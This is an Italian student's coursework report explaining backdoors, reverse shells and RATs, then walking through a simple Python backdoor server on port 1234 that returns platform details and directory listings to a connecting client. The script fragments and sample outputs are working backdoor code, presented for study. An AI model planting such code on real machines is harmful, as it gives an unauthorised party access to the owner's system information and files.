Matteo Leoni, Esercizio 14/03/2024

BACKDOOR

Una backdoor, dall'inglese "porta sul retro", è un metodo per poter entrare in un altro sistema informatico, che sia un computer o qualsiasi altro dispositivo mobile, all'insaputa del proprietario del suddetto dispositivo, e molto spesso, prenderne il controllo.

Ne esistono vari tipi, e i più importanti sono:

-Reverse shell: la macchina attaccante riesce ad "impadronirsi" della shell della macchina bersaglio, avendo cosi pieno possesso della CLI

-RAT (Remote Access Trojan): attraverso qualche malware, spesso rimediato sulla rete Internet, la macchina attaccante ha pieno controllo della macchina bersaglio, riuscendo a fare qualsiasi cosa da remoto, in alcuni casi anche molto più di quello che può fare il proprietario del pc infetto.

Siamo quindi di fronte a codice malevolo.

Nell'esercizio di oggi, apparentemente, non sembra di avere a che fare con qualcosa di particolarmente malevolo. Infatti il codice sembra voler creare un server che rimane in ascolto sulla porta 1234, aspettando un qualsiasi client che si agganci su questa porta.
Inizialmente, questo server viene creato dal comando s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) come si può vedere in figura. Il server rimane in ascolto, accettando una connessione per volta s.listen(1).

```
SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
```

Una volta che un client si aggancia alla porta 1234, sul terminale attaccante esce il messaggio: print ("Connesso con: ", address), in cui apparirà l'indirizzo IPv4 del bersaglio. Potrà ricevere pacchetti da massimo 1024 bit. Successivamente, la macchina attaccante rimarrà in ascolto finchè non riceverà determinati input, che vedremo nelle immagini successive.

```
print ("Connesso con: ", address)
running = True
while running:
        try:
                data = connection.recv(1024)
        except: continue
```

In questo caso, se la macchina riceve come input il carattere "1", grazie alla libreria platform (che dà accesso alle informazioni di sistema) importata all'inizio, riusciamo a risalire al tipo di piattaforma utilizzato, ad esempio Linux, e alla macchina utilizzata dal bersaglio, ad esempio 32 o 64 bit.

UTF-8 (Unicode Transformation Format, 8 bit) è una codifica di caratteri Unicode in sequenze di lunghezza variabile di byte, creata da Rob Pike e Ken Thompson. UTF-8 usa gruppi di byte per rappresentare i caratteri Unicode, ed è particolarmente utile per il trasferimento tramite sistemi di posta elettronica a 8-bit. Per rappresentare i 128 caratteri ASCII, abbiamo in questo caso bisogno di un solo byte.

```
    if(data.decode('utf-8').strip() == '1'):
            tosend = platform.platform() + " " + platform.machine() + "\n"
            connection.sendall(tosend.encode())
```

```
1
Linux-6.6.9-amd64-x86_64-with-glibc2.37 x86_64
```

Nel secondo caso, se la macchina riceve come input il carattere "2", riusciamo a risalire ai file presenti in una directory, immettendo il suo path completo, questo grazie alla libreria os, importata precedentemente, che ci permette di interagire col sistema operativo.

```
        elif(data.decode('utf-8').strip() == '2'):
                connection.sendall(b'Path: ')
                data = connection.recv(1024)
                try:
                        filelist =  os.listdir(data.decode('utf-8').strip())
                        tosend = ""
                        for x in filelist:
                                tosend += "," + x
                        tosend += '\n'
                except:
                        tosend = "Wrong path"
                connection.sendall(tosend.encode())
```

Come si può vedere, dopo aver digitato il carattere "2", il sistema ci chiede di inserire un path valido, altrimenti il messaggio sarà "Wrong path". Una volta inserito, riusciremo a vedere i file e le cartelle contenute in quel path.

PATH CORRETTO

```
2
Path: /home/kali/Desktop/lezione11
,text.txt,.git,esercizio.py
```

WRONG PATH

```
2
Path: aaaa
Wrong path
```

Infine, se si inserisce il carattere "0", si chiude la connessione, finisce il ciclo infinito del while running, e successivamente si chiude il socket.

```
        elif(data.decode('utf-8').strip() == '0'):
                connection.close()
                connection, address = s.accept()
                running = False

if connection: connection.close()
s.close()
```